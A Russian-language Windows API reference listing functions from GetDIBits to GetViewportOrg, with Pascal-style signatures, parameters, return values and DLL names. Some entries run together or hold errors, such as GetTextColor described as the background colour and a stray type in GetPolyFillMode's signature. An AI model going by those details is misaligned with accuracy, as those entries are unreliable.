Функция GetDIBits Описание: function GetDIBits(DC: HDC; TBitmap: THandle; StartScan, NumScans: Word; Bits: Pointer; var BitInfo: TBitmapInfo; Usage: Word): Integer; Копирует карту бит в формате, независящем от устройства, в Bits. Параметры: DC: Контекст устройства. Bitmap: Идентификатор карты бит. StartScan: Первая строка развертки. NumScans: Число копируемых строк. Bits: Буфер для приема карты бит или nil для заполнения BitsInfo. BitInfo: Структура TBitmapInfo, содержащая размерности и формат цветов. Usage: Определяет источник цветов. Одна из констант DIB_RGB_Colors или DIB_Pal_Colors. См. разд "Идентификаторы таблицы цветов, DIB_" в главе 1. Возвращаемое значение: Число скопированных строк развертки; 0 - если ошибка. функция находится в файле gdi32.dllФункция GetDlgCtrID Описание: function GetDlgCtrlID(Wnd: HWnd): Integer; Считывает значение идентификатора органа управления окна. Параметры: Wnd: Идентификатор органа управления. Возвращаемое значение: Численный идентификатор органа управления; 0 - если ошибка.
Функция GetDlgItem Описание: function GetDlgItem(Dlg: HWnd; IDDlgItem: Integer): HWnd; Считывает описатель органа управления, содержащийся в указанном блоке диалога. Параметры: Dlg: Блок диалога, содержащий орган управления. IDDlgItem: Идентификатор органа управления. Возвращаемое значение: Идентификатор органа управления; 0 - если указанный орган управления не существует. функция находится в файле user32.dll.
Функция GetDlgItemInt Описание: function GetDlgItemInt(Dlg: HWnd; IDDlgItem: Integer; Translate: LPBool; Signed: Bool): Word; Переводит текст органа управления в блоке диалога в целочисленное значение. Предшествующие нули отсекаются. Параметры: Dlg: Идентификатор блока диалога. IDDlgItem: Идентификатор элемента. Translate: Возвращенное значение Bool; 0 - в случае ошибки перевода. Signed: Обрабатывать считанное значение как значение со знаком. Возвращаемое значение: Переведенное значение. См. также: wm_GetText функция находится в файле user32.dll.
Функция GetDlgItemText Описание: function GetDlgItemText(Dlg: HWnd; IDDlgItem: Integer; Str: PChar; MaxCount: Integer): Integer; Считывает текст органа управления. Параметры: Dlg: Идентификатор блока диалога. IDDlgItem: Идентификатор элемента. Str: Буфер для приема текста. MaxCount: Размер буфера. Возвращаемое значение: Фактическое число скопированных символов. См. также: wm_GetText функция находится в файле user32.dll.
Функция GetDOSEnvironment Описание: function GetDOSEnvironment: PChar; Считывает строку среды DOS текущей задачи. Возвращаемое значение: Строка среды задачи.
Функция GetDoubleClickTime Описание: function GetDoubleClickTime: Word; Считывает максимальное время между последовательными двумя щелчками мыши, которые соответствуют двойному щелчку. Возвращаемое значение: Текущее время двойного щелчка (в миллисекундах). функция находится в файле user32.dll.
Функция GetDriveType Описание: function GetDriveType(Drive: Integer): Word; Определяет, является ли накопитель Drive съемным, фиксированным или удаленным. Параметры: Drive: Проверяемый накопитель, то есть, A: это 0, B: это 1 и т.д. Возвращаемое значение: Drive_Removable, Drive_Remote, Drive_Fixed или нуль, если накопитель не поддается определению; 1 - если не существует. См. раздел "Типы накопителей, Drive_" в главе 1. функция находится в файле kernel32.dll.
Функция GetEnvironment Описание: function GetEnvironment(PortName, Enviro: PChar; MaxCount: Word): Integer; Считывает текущую среду для устройства, присоединенного к системному порту. Параметры: PortName: Имя порта (заканчивающееся пустым символом). Environ: Буфер для приема среды (первое поле должно содержать имя устройства) или nil для возврата требуемого размера. Возвращаемое значение: Фактическое число скопированных байт; 0 - если среда не найдена.
Функция GetFocus Описание: function GetFocus: HWnd; Считывает окно, которое в данный момент имеет фокус ввода. Возвращаемое значение: В случае успешного завершения - идентификатор окна; 0 - в противном случае. функция находится в файле user32.dll.
Функция GetFreeSpace Описание: function GetFreeSpace(Flag: Word): Longint; Считывает количество свободной памяти в глобальной куче. Параметры: Flag: Константа gmem_NotBanked для поиска ниже линии раздела или нуль - для поиска выше; для систем без памяти EMS игнорируется. См. раздел "Флаги глобальной памяти, gmem_" в главе 1. Возвращаемое значение: Доступная память (в байтах). См. также: GlobalCompact.
Функция GetGValue Описание: function GetGValue(RGBColor: Longint): Byte; Выделяет значение интенсивности зеленого из значения цвета RGB. Параметры: RGBColor: Значение цвета RGB. Возвращаемое значение: Значение интенсивности зеленого, от 0 до 255.
Функция GetInputState Описание: function GetInputState: Bool; Определяет, содержит ли в данный момент системная очередь события мыши, клавиатуры или таймера. Возвращаемое значение: Не нуль, если да; 0 - в противном случае. функция находится в файле user32.dll.
Функция GetInstanceData Описание: function GetInstanceData(Instance: THandle; Data, Count: Word): Integer; Копирует данные предыдущего экземпляра в Data. Параметры: Instance: Идентификатор экземпляра предыдущей прикладной задачи. Data: Принимающий буфер. Count: Размер буфера. Возвращаемое значение: Фактическое число скопированных байт.
Функция GetKBCodePage Описание: function GetKBCodePage: Integer; Считывает загруженную в данный момент таблицу OEM/ANSI. Возвращаемое значение: Текущая страница кодов; (437) США, (857) международная, (860) Португалия, (861) Исландия, (863) франкоязычная Канада, (865) Норвегия/Дания. функция находится в файле user32.dll.
Функция GetKeyboardState Описание: function GetKeyboardState(var: KeyState: Byte); Копирует состояние установки клавиши виртуальной клавиатуры в KeyState. Если старший бит байта равен 1, клавиша нажата. Если младший бит байта равен 1, то с момента запуска системы клавиша нажималась нечетное число раз. Параметры: KeyState: 256-байтный массив символов. функция находится в файле user32.dll.
Функция GetKeyboardType Описание: function GetKeyboardType(TypeFlag: Integer): Integer; Считывает тип клавиатуры системы. Параметры: TypeFlag: 0 (тип клавиатуры), 1 (подтип клавиатуры), 2 (число функциональных клавиш - ФК). Возвращаемое значение: 1 (PC/XT, 10 ФК), 2 (Olivetti M24, 12 ФК), 3 (AT, 10 ФК), 4 (расширенная, 12 ФК), 5 (Nokia 1050, 10 ФК), 6 (Nokia 9140, 24 ФК). функция находится в файле user32.dll.
Функция GetKeyNameText Описание: function GetKeyNameText(lParam: Longint; Buffer: PChar; Size: Integer): Integer; Считывает строку с именем клавиши для клавиш длиннее одного символа. Параметры: lParam: Длинный параметр для сообщения wm_KeyDown. Buffer: Принимающий буфер. Size: Размер буфера. Возвращаемое значение: Фактическое число скопированных байт. функция находится в файле user32.dll.
Функция GetKeyState Описание: function GetKeyState(VirtKey: Integer): Integer; Определяет, каково состояние виртуальной клавиши: поднята, нажата или переключается. Параметры: VirtKey: Виртуальная клавиша. Возвращаемое значение: Клавиша нажата, если старший бит равен 1, и клавиша переключается, если младший бит равен 1. функция находится в файле user32.dll.
Функция GetLastActivePopup Описание: function GetLastActivePopup(WndOwner: HWnd): HWnd; Определяет самое последнее активное всплытие. Параметры: WndOwner: Родительское окно владельца всплытия. Возвращаемое значение: Идентификатор всплывающего окна; WndOwner. функция находится в файле user32.dll.
Функция GetMapMode Описание: function GetMapMode(DC: HDC): Integer; Определяет текущий режим отображения. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Режим отображения, константа mm_. См. раздел "Режимы отображения" в главе 1. См. также: SetMapMode функция находится в файле gdi32.dllФункция GetMenu Описание: function GetMenu(Wnd: HWnd): HMenu; Определяет описатель меню окна. Параметры: Wnd: Окно, владеющее меню. Возвращаемое значение: Идентификатор меню; 0 - если меню отсутствует; не определено, если Wnd является дочерним окном. функция находится в файле user32.dll.
Функция GetMenuCheckMarkDimensions Описание: function GetMenuCheckMarkDimensions: Longint; Определяет размерности стандартной карты бит контрольной отметки, отображаемой после помеченных элементов меню. Возвращаемое значение: Высота и ширина (в элементах изображения) в старшем и младшем слове, соответственно. См. также: SetMenuItemBitmaps функция находится в файле user32.dll.
Функция GetMenuItemCount Описание: function GetMenuItemCount(Menu: HMenu): Word; Определяет число меню и элементов меню верхнего уровня в указанном меню. Параметры: Menu: Идентификатор меню. Возвращаемое значение: В случае успешного завершения возвращается число элементов меню; 0 - в противном случае. функция находится в файле user32.dll.
Функция GetMenuItemID Описание: function GetMenuItemID(Menu: HMenu; Pos: Integer): Word; Определяет числовой идентификатор элемента меню, расположенного в указанной позиции меню. Параметры: Menu: Идентификатор всплывающего меню. Pos: Позиция элемента в меню, отсчитываемая с нуля. Возвращаемое значение: В случае успешного завершения возвращается идентификатор элемента; 0 - если элемент является всплывающим и -1 - если ошибка. функция находится в файле user32.dll.
Функция GetMenuState Описание: function GetMenuState(Menu: HMenu; ID, Flags: Word): Word; Считывает информацию состояния для указанного элемента меню. Параметры: Menu: Идентификатор меню или всплывающего меню. ID: Идентификатор элемента меню. Flags: Одна из констант меню mf_ByPosition, mf_ByCommand. См. раздел "Флаги меню, mf_" в главе 1. Возвращаемое значение: Маски флагов из следующих значений: mf_Checked, mf_Disabled, mf_Enabled, mf_MenuBarBreak mf_MenuBreak, mf_Separator, mf_UnChecked; в случае всплытия старший байт содержит число элементов; -1 в случае неверного идентификатора. См. раздел "Флаги меню mf_" в главе 1. функция находится в файле user32.dll.
Функция GetMenuString Описание: function GetMenuString(Menu: HMenu; IDItem: Word; Str: PChar; MaxCount: Integer; Flag: Word): Integer; Копирует метку элемента меню в Str. Копируемая метка заканчивается пустым символом. Параметры: Menu: Идентификатор меню. IDItem: Идентификатор элемента меню. Str: Принимающий буфер. MaxCount: Размер буфера. Flag: Одна из констант меню mf_ByPosition, mf_ByCommand. См. раздел "Флаги меню, mf_" в главе 1. Возвращаемое значение: Фактическое число скопированных байт. функция находится в файле user32.dll.
Функция GetMessage Описание: function GetMessage(var Msg: TMsg; Wnd: HWnd; MsgFilterMin, MsgFilterMax: Word): Bool; Считывает сообщение, в рамках диапазона фильтрации, из очереди сообщений прикладной задачи. Оставляет управление другим прикладным задачам, если сообщений нет или если следующим сообщением является wm_Paint или wm_Timer. Параметры: Msg: Принимающая структура TMsg. Wnd: Окно назначения сообщений или 0 для всех окон в прикладной задаче. MsgFilterMin: Нуль в случае отсутствия фильтрации или wm_KeyFirst только для клавиатуры или wm_MouseFirst только для мыши. MsgFilterMiax Нуль в случае отсутствия фильтрации или wm_KeyLast только для клавиатуры или wm_MouseLast только для мыши. Возвращаемое значение: Не нуль, если сообщение не wm_Quit; 0 - в противном случае. функция находится в файле user32.dll.
Функция GetMessagePos Описание: function GetMessagePos: Longint; Считывает положение курсора для последнего сообщения, полученного из GetMessage. Возвращаемое значение: Координаты X и Y в младшем и старшем словах, соответственно. функция находится в файле user32.dll.
Функция GetMessageTime Описание: function GetMessageTime: Longint; Считывает время, прошедшее с момента перезагрузки системы, для последнего сообщения, полученного из GetMessage. Возвращаемое значение: Время сообщения (в миллисекундах). функция находится в файле user32.dll.
Функция GetMetaFile Описание: function GetMetaFile(FileName: PChar): THandle; Создает описатель для поименованного метафайла. Параметры: FileName: Имя файла DOS для метафайла (заканчивающееся пустым символом). Возвращаемое значение: В случае успешного завершения - идентификатор метафайла; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция GetMetaFileBits Описание: function GetMetaFileBits(MF: THandle): THandle; Получает блок глобальной памяти, содержащий метафайл в виде совокупности бит. Используется для определения размера и сохранения как метафайла. Параметры: MF: Идентификатор метафайла в памяти; после вызова становится неверным. Возвращаемое значение: В случае успешного завершения - блок глобальной памяти; 0 - в противном случае.
Функция GetModuleFileName Описание: function GetModuleFileName(Module: THandle; FileName: PChar; Size: Integer): Integer; Считывает полное имя маршрута (заканчивающееся пустым символом) исполнимого файла для указанного модуля. Параметры: Module: Идентификатор модуля. FileName: Принимающий буфер. Size: Размер буфера. Возвращаемое значение: Фактическое число скопированных байт. функция находится в файле kernel32.dll.
Функция GetModuleHandle Описание: function GetModuleHandle(ModuleName: PChar): THandle; Считывает описатель модуля. Параметры: ModuleName: Имя модуля (заканчивающееся пустым символом). Возвращаемое значение: В случае успешного завершения - идентификатор модуля; 0 - в противном случае. функция находится в файле kernel32.dll.
Функция GetModuleUsage Описание: function GetModuleUsage(Module: THandle): Integer; Считывает счетчик обращений к модулю. Параметры: Module: Идентификатор модуля. Возвращаемое значение: Значение счетчика обращений.
Функция GetNearestColor Описание: function GetNearestColor(DC: HDC; Color: TColorRef): Bool; Получает ближайший совпадающий с Color логический цвет, который может поддерживать устройство. Параметры: DC: Идентификатор контекста устройства. Color: Структура TColorRef, с которой ищется совпадение. Возвращаемое значение: Сплошной цвет RGB. функция находится в файле gdi32.dll.
Функция GetNearestPaletteIndex Описание: function GetNearestPaletteIndex(Palette: HPalette; Color: TColorRef): Word; Получает ближайший совпадающий с Color цвет в логической палитре. Параметры: Palette: Идентификатор логической палитры. Color: Структура TColorRef, с которой ищется совпадение. Возвращаемое значение: Индекс элемента логической палитры. функция находится в файле gdi32.dll.
Функция GetNextDlgGroupItem Описание: function GetNextDlgGroupItem(Dlg: Hwnd; Ctrl: HWnd; Previous: Bool): Hwnd; Ищет в Ctrl следующий или предыдущий орган управления со стилем ws_Group. Поиск является циклическим. Параметры: Dlg: Идентификатор блока диалога. Ctrl: Идентификатор органа управления, с которого начинается поиск. Previous: 0 - если нужно найти предыдущий орган управления; не нуль - если следующий орган управления. Возвращаемое значение: Идентификатор органа управления. функция находится в файле user32.dll.
Функция GetNextDlgTabItem Описание: function GetNextDlgtabItem(Dlg: Hwnd; Ctrl: HWnd; Previous: Bool): Hwnd; Ищет в Ctrl следующий или предыдущий орган управления со стилем ws_TabStop. Поиск является циклическим. Параметры: Dlg: Идентификатор блока диалога. Ctrl: Идентификатор органа управления, с которого начинается поиск. Previous: 0 - если нужно найти предыдущий орган управления; не нуль - если следующий орган управления. Возвращаемое значение: Идентификатор органа управления. функция находится в файле user32.dll.
Функция GetNextWindow Описание: function GetNextWindow(Wnd: HWnd; Flag: Word): Hwnd; Считывает из Wnd следующее или предыдущее окно. В случае окна верхнего уровня ищется следующее окно верхнего уровня, а в случае дочернего окна ищется следующее дочернее окно. Параметры: Wnd: Идентификатор окна. Flag: Одна из констант меню gw_HWndNext или gw_HWndPrev. См. раздел "Константы получения окон, gw_" в главе 1. Возвращаемое значение: Идентификатор окна. функция находится в файле user32.dll.
Функция GetNumTasks Описание: function GetNumTasks: Word; Считывает число задач, которые в данный момент выполняются в системе. Возвращаемое значение: Число выполняемых в данный момент задач.Функция GetObject Описание: function GetObject(hObject: THandle; Count: Integer; ObjectPtr: Pointer): Integer; Заполняет буфер данными, которые определяют логический объект. Возвращает только число элементов для логических палитр. Параметры: hObject: Идентификатор объекта. Count: Размер буфера. ObjectPtr: Принимающий буфер; TLogPen, TLogBrush, TLogFont, TBitMap или целое. Возвращаемое значение: Фактическое число скопированных байт; 0 - в случае ошибки. См. также: GetBitmapBits, GetPaletteEntries функция находится в файле gdi32.dll.
Функция GetPaletteEntries Описание: function GetPaletteEntries(Palette: HPalette; StartIndex, NumEntries: Word; var PaletteEntries: TPaletteEntry): Word; Считывает указанный диапазон элементов палитры и копирует их в PaletteEntries. Параметры: Palette: Идентификатор логической палитры. StartIndex: Первый элемент. NumEntries: Число элементов. PaletteEntries: Массив TPaletteEntry для приема элементов палитры. Возвращаемое значение: Фактическое число считанных байт; 0 - в случае ошибки. функция находится в файле gdi32.dll.
Функция GetParent Описание: function GetParent(Wnd: HWnd): HWnd; Считывает описатель родительского окна данного окна. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Идентификатор родительского окна; 0 - если родительское окно отсутствует. функция находится в файле user32.dll.
Функция GetPixel Описание: function GetPixel(DC: HDC; X, Y: Integer): Longint; Считывает цвет RGB в указанной точке. Параметры: DC: Идентификатор контекста устройства. X, Y: Проверяемая точка. Возвращаемое значение: Значение цвета RGB; -1, если точка лежит не в области вырезания. функция находится в файле gdi32.dll.
Функция GetPolyFillMode Описание: function GetPolyFillMode(DC: HDC): Integer;: HRgn; Считывает текущий режим заполнения многоугольника. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Режим заполнения многоугольника. Одна из констант Alternate или Winding. См. раздел "Режимы PolyFill" в главе 1. функция находится в файле gdi32.dll.
Функция GetPriorityClipboardFormat Описание: function GetPriorityClipboardFormat(var PriorityList; Count: Integer): Integer; Считывает первый формат буфера вырезанного изображения в PriorityList, для которого существуют данные. Параметры: PriorityList: Целочисленный массив, содержащий форматы буфера вырезанного изображения в порядке их приоритетов. Форматы являются константами cf_. См. раздел "Форматы буфера вырезанного изображения" в главе 1. Count: Размер PriorityList. Возвращаемое значение: Формат из списка, имеющий наибольший приоритет; -1, если совпадения нет. функция находится в файле user32.dll.
Функция GetPrivateProfileInt Описание: function GetPrivateProfileInt(ApplicationName, KeyName: PChar; Default: Integer; FileName: PChar): Word; Считывает из указанного файла инициализации целочисленное значение клавиши. Параметры: ApplicationName: Имя заголовка прикладной задачи в FileName. KeyName: Имя клавиши в FileName. Default: Значение, принимаемое по умолчанию, если KeyName не найдено. FileName: Имя файла инициализации в каталоге Windows. Возвращаемое значение: Значение клавиши; нуль, если отрицательное или не целое. функция находится в файле kernel32.dll.
Функция GetPrivateProfileString Описание: function GetPrivateProfileString(ApplicationName, KeyName, Default, ReturnedString: PChar; Size: Integer; FileName: PChar): Integer; Считывает из указанного файла инициализации строковое значение клавиши. Параметры: ApplicationName: Имя заголовка прикладной задачи в FileName. KeyName: Имя клавиши в FileName или nil для получения списка имен клавиш. Default: Имя, принимаемое по умолчанию, если KeyName не найдено. ReturnedString: Принимающий буфер. Size: Размер буфера. FileName: Имя файла инициализации в каталоге Windows. Возвращаемое значение: Фактическое число скопированных символов. функция находится в файле kernel32.dll.
Функция GetProcAddress Описание: function GetProcAddress(Module: THandle; ProcName: PChar): TFarProc; Считывает адрес экспортированной библиотечной функции. Параметры: Module: Библиотечный модуль. ProcName: Имя функции (заканчивающееся пустым символом) или произвольное значение. Возвращаемое значение: В случае успешного завершения - точка входа в функцию; 0 - в противном случае. функция находится в файле kernel32.dll.
Функция GetProfileInt Описание: function GetProfileInt(AppName, KeyName: PChar; Default): Integer; Считывает из файла WIN.INI целочисленное значение клавиши. Параметры: AppName: Имя заголовка прикладной задачи. KeyName: Имя искомой клавиши. Default: Значение, принимаемое по умолчанию, если KeyName не найдено. Возвращаемое значение: Значение клавиши; нуль, если отрицательное или не целое. функция находится в файле kernel32.dll.
Функция GetProfileString Описание: function GetProfileString(AppName, KeyName, Default, ReturnedString: PChar; Size: Integer): Integer; Считывает из файла WIN.INI строковое значение клавиши. Параметры: AppName: Имя заголовка прикладной задачи. KeyName: Имя искомой клавиши или nil для получения всех имен клавиш, связанных с AppName. Default: Значение, принимаемое по умолчанию, если KeyName не найдено. ReturnedString: Принимающий буфер. Size: Размер буфера. Возвращаемое значение: Фактическое число скопированных символов. функция находится в файле kernel32.dll.
Функция GetProp Описание: function GetProp(Wnd: HWnd; Str: PChar): THandle; Считывает из списка свойств окон описатель соответствующих данных. Параметры: Wnd: Идентификатор окна. Str: Строка (заканчивающаяся пустым символом) или атом. Возвращаемое значение: Описатель данных, если список свойств содержит Str; 0 - в противном случае. функция находится в файле user32.dll.
Функция GetRgnBox Описание: function GetRgnBox(Rgn: HRgn; var Rect: TRect): Integer; Считывает прямоугольник, ограничивающий область. Параметры: Rgn: Идентификатор области. Rect: Принимающая структура TRect. Возвращаемое значение: Тип области, одна из констант ComplexRegion, NullRegion, SimpleRegion; нуль, если неверная область. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll.
Функция GetROP2 Описание: function GetROP2(DC: HDC): Integer; Считывает текущий режим рисования. Параметры: DC: Контекст растрового устройства. Возвращаемое значение: Режим рисования. Одна из констант r2_. См. раздел "Двоичные растровые операции" в главе 1. См. также: SetROP2 функция находится в файле gdi32.dll.
Функция GetRValue Описание: function GetRValue(RGBColor: Longint): Byte; Выделяет значение интенсивности красного из значения цвета RGB. Параметры: RGBColor: Значение цвета RGB. Возвращаемое значение: Значение интенсивности красного, от 0 до 255.
Функция GetScrollPos Описание: function GetScrollPos(Wnd: HWnd; Bar:Integer): Integer; Считывает текущее положение указателя прокрутки относительно текущего диапазона прокрутки. Параметры: Wnd: Окно, содержащее полосу прокрутки. Bar: Одна из констант sb_Ctl, sb_Horz, sb_Vert. См. раздел "Константы полосы прокрутки, sb_" в главе 1. Возвращаемое значение: Текущее положение указателя полосы прокрутки. функция находится в файле user32.dll.
Функция GetScrollRange Описание: function GetScrollRange(Wnd: HWnd; Bar:Integer, var MinPos, MaxPos: Integer); Считывает минимальное и максимальное положения указателя прокрутки. Параметры: Wnd: Окно, содержащее полосу прокрутки. Bar: Одна из констант sb_Ctl, sb_Horz, sb_Vert. См. раздел "Константы полосы прокрутки, sb_" в главе 1. MinPos: Целое для приема минимального положения. MaxPos: Целое для приема максимального положения. функция находится в файле user32.dll.
Функция GetStockObject Описание: function GetStockObject(Index: Integer): THandle; Считывает описатель предопределенного основного пера, кисти или шрифта. Параметры: Index: Одна из следующих констант Black_Brush, DkGray_Brush, Gray_Brush, Hollow_Brush, LtGray_Brush, Null_Brush, White_Brush, Null_Brush, Black_Pen, Null_Pen, White_Pen, ANSI_Fixed_Font, ANSI_Var_Font, System_Fixed_Font, Default_Palette. См. раздел "Основные логические объекты" в главе 1. Возвращаемое значение: В случае успешного завершения - нужный идентификатор логического объекта; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция GetStretchBitMode Описание: function GetStretchMode(DC: HDC): THandle; Считывает текущий режим растяжения. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Одна из констант WhiteOnBlack, BlackOnWhite или ColorOnColor. См. раздел "Режимы StretchBit" в главе 1. См. также: SetStretchBitMode.
Функция GetSubMenu Описание: function GetSubMenu(Menu: HMenu; Pos: Integer): HMenu; Считывает описатель всплывающего меню. Параметры: Menu: Идентификатор меню. Pos: Положение всплывающего меню в Menu. Возвращаемое значение: Идентификатор всплывающего меню; 0 - если в Pos нет всплывающего меню. функция находится в файле user32.dllФункция GetSysColor Описание: function GetSysColor(Index: Integer): Longint; Считывает текущий цвет отображаемого элемента Windows. Параметры: Index: Элемент отображения. Возвращаемое значение: Значение цвета RGB. См. также: SetSysColor функция находится в файле user32.dll.
Функция GetSysModalWindow Описание: function GetSysModalWindow: HWnd; Считывает описатель текущего системного модального окна. Возвращаемое значение: Идентификатор системного модального окна, если такое имеется; 0 - если нет.
Функция GetSystemDirectory Описание: function GetSystemDirectory(Buffer: PChar; Size: Word); Получает имя маршрута для подкаталога системы Windows. Параметры: Buffer: Принимающий буфер. Size: Размер буфера (не менее 144 символов). функция находится в файле kernel32.dll.
Функция GetSystemMenu Описание: function GetSystemMenu(Wnd: HWnd; Revert: Bool): HMenu; Считывает системное меню окна для копирования и модификации. Параметры: Wnd: Идентификатор окна. Revert: Нуль, чтобы возвращался описатель для копирования системного меню, и не нуль, чтобы возвращался описатель исходного системного меню. Возвращаемое значение: Идентификатор системного меню; 0 - если Revert отлична от нуля и системное меню не модифицировано. См. также: AppendMenu, InsertMenu, ModifyMenu функция находится в файле user32.dll.
Функция GetSystemMetrics Описание: function GetSystemMetrics(Index: Integer): Integer; Считывает метрику системы, такую как ширина и высота различных отображаемых элементов в элементах изображения, состояние мыши и отладочная версия Windows. Параметры: Index: Одна из констант sm_. См. раздел "Коды системных метрик, sm_" в главе 1. Возвращаемое значение: Запрошенное значение системной метрики. См. также: AppendMenu, InsertMenu, ModifyMenu функция находится в файле user32.dll.
Функция GetSystemPaletteEntries Описание: function GetSystemPaletteEntries(DC: HDC; StartIndex, NumEntries: Word; var PaletteEntries: TPaletteEntry): Word; Считывает указанный диапазон элементов палитры из системной палитры. Параметры: DC: Идентификатор контекста устройства. StartIndex: Первый считываемый элемент. NumEntries: Число считываемых элементов. PaletteEntries: Массив TPaletteEntry для приема элементов палитры. Возвращаемое значение: Фактическое число считанных байт; 0 - в случае ошибки. функция находится в файле gdi32.dll.
Функция GetSystemPaletteUse Описание: function GetSystemPaletteUse(DC: HDC): Word; Определяет, имеет ли прикладная задача полный доступ к системной палитре. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Одна из констант syspal_NoStatic или syspal_Static. См. раздел "Флаги системной палитры, syspal_" в главе 1. функция находится в файле gdi32.dll.
Функция GetTabbedTextExtent Описание: function GetTabbedTextExtent(DC: HDC; Str: PChar; Count, TabPositions: Integer; var TabStopPositions): Longint; Вычисляет высоту и ширину (в элементах изображения) Str, используя текущий выбранный шрифт. Табуляция расширяется указанным образом. Параметры: DC: Идентификатор контекста устройства. Str: Строка текста. Count: Число символов в Str. TabPositions: Число позиций табуляции в TabStopPositions или нуль и позиции табуляции следуют через каждые восемь средних по ширине символов. TabStopPositions: Целочисленный массив, содержащий позиции табуляции в порядке возрастания (в элементах изображения). Возвращаемое значение: Ширина и высота в старшем и младшем слове, соответственно. функция находится в файле user32.dll.
Функция GetTempDrive Описание: function GetTempDrive(DriveLetter: Char): Char; Считывает имя накопителя, который будет давать оптимальное время доступа для операций с временными файлами. Параметры: DriveLetter: Буква имени диска или нуль для возврата текущего накопителя. Возвращаемое значение: Буква имени диска.
Функция GetTempFileName Описание: function GetTempFileName(DriveLetter: Char; PrefixString: PChar; Unique: Word; TempFileName: PChar): Integer; Считывает уникальное имя временного файла, именем маршрута для которого является либо корневой каталог или имя, определенное переменной среды TEMP. Параметры: DriveLetter: Предлагаемый накопитель или tf_ForceDrive, побитово сложенная с предлагаемым накопителем, или нуль для накопителя, принимаемого по умолчанию. PrefixString: Трехсимвольный префикс имени файла (заканчивающийся пустым симвлом). Unique: Численное значение базового имени файла или нуль для значения, выбранного системой. TempFileName: Буфер принимающего маршрута (длиной не менее 144 байта). Возвращаемое значение: Уникальное численное значение имени файла. функция находится в файле kernel32.dll.
Функция GetTextAlign Описание: function GetTextAlign(DC: HDC): Word; Считывает флаги выравнивания текста. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Комбинация флагов выравнивания текста: ta_Left, ta_Center, ta_Right, ta_BaseLine, ta_Bottom, ta_Top, ta_NoUpdateCP и ta_UpdateCP. См. раздел "Параметры выравнивания текста, ta_" в главе 1. функция находится в файле gdi32.dll.
Функция GetTextCharacterExtra Описание: function GetTextCharacterExtra(DC: HDC): Integer; Считывает дополнительное расстояние (в логических единицах), добавленное в каждый символ при его записи в строку. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Текущее расстояние между символами. См. также: TextOut, ExtTextOut функция находится в файле gdi32.dll.
Функция GetTextColor Описание: function GetTextColor(DC: HDC): Longint; Считывает текущий цвет фона, используемый для рисования символов. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Значение цвета RGB. См. также: TextOut, ExtTextOut функция находится в файле gdi32.dll.
Функция GetTextExtent Описание: function GetTextExtent(DC: HDC; Str: PChar; Count: Integer): Longint; Вычисляет размерности Str, базируясь на текущем выбранном шрифте. Параметры: DC: Идентификатор контекста устройства. Str: Строка текста. Count: Число символов в Str. Возвращаемое значение: Высота и ширина (в логических единицах) в старшем и младшем слове, соответственно.
Функция GetTextFace Описание: function GetTextFace(DC: HDC; Count: Integer; FaceName: PChar): Integer; Копирует имя набора выбранного шрифта в FaceName. Параметры: DC: Идентификатор контекста устройства. Count: Размер FaceName Facename: Принимающий буфер. Возвращаемое значение: Фактическое число скопированных байт. функция находится в файле gdi32.dll.
Функция GetTextMetrics Описание: function GetTextMetrics(DC: HDC; var Metrics: TTextMetric): Bool; Считывает метрику текущего выбранного шрифта в Metric. Параметры: DC: Идентификатор контекста устройства. Metrics: Принимающая структура TTextMetric. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция GetThresholdEvent Описание: function GetThresholdEvent: LPInteger; Считывает последнее значение порогового события. Возвращаемое значение: Указатель на пороговое значение.
Функция GetThresholdStatus Описание: function GetThresholdStatus: Integer; Считывает состояние порогового события, где каждый установленный бит представляет уровень звуковой очереди, находящийся ниже порога. Возвращаемое значение: Текущие флаги состояния порогового события.
Функция GetTickCount Описание: function GetTickCount: Longint; Считывает время, прошедшее с момента запуска системы. Возвращаемое значение: Прошедшее время (в миллисекундах). функция находится в файле kernel32.dll.
Функция GetTopWindow Описание: function GetTopWindow(Wnd: HWnd): HWnd; Считывает для окна его дочернее окно верхнего уровня. Параметры: Wnd: Идентификатор родительского окна. Возвращаемое значение: Идентификатор дочернего окна; 0 - если не существует. функция находится в файле user32.dllФункция GetUpdateRect Описание: function GetUpdateRect(Wnd: HWnd; var Rect: TRect; Erase: Bool): Bool; Считывает в ARect наименьший замыкающий прямогольник области обновления окна. Параметры: Wnd: Идентификатор окна. Rect: Принимающая структура TRect. Erase: Не нуль, если нужно стереть фон области обновления. Возвращаемое значение: Если область обновления непуста, то не нуль; 0 - в противном случае. функция находится в файле user32.dll.
Функция GetUpdateRgn Описание: function GetUpdateRgn(Wnd: HWnd; Rgn: HRgn; Erase: Bool): Integer; Копирует в Rgn область обновления окна. Параметры: Wnd: Идентификатор окна. Rgn: Принимающая область обновления. Erase: Не нуль, если нужно стереть фон области обновления и перерисовать дочерние окна. Возвращаемое значение: Один из следующих типов областей: ComplexRegion, Error, NullRegion, SimpleRegion. См. раздел "Флаги областей" в главе 1. функция находится в файле user32.dll.
Функция GetVersion Описание: function GetVersion: Word; Считывает номер текущей версии Windows. Возвращаемое значение: Младшая и старшая части номера версии в старшем и младшем байтах, соответственно. функция находится в файле kernel32.dll.
Функция GetViewportExt Описание: function GetViewportExt(DC: HDC): Longint; Считывает экстенты точки зрения контекста устройства. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Экстенты X и Y (в единицах устройства) в младшем и старшем словах, соответственно.
Функция GetViewportOrg Описание: function GetViewportOrg(DC: HDC): Longint; Считывает начало точки зрения контекста устройства. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Координаты X и Y (в единицах устройства) в младшем и старшем словах, соответственно.
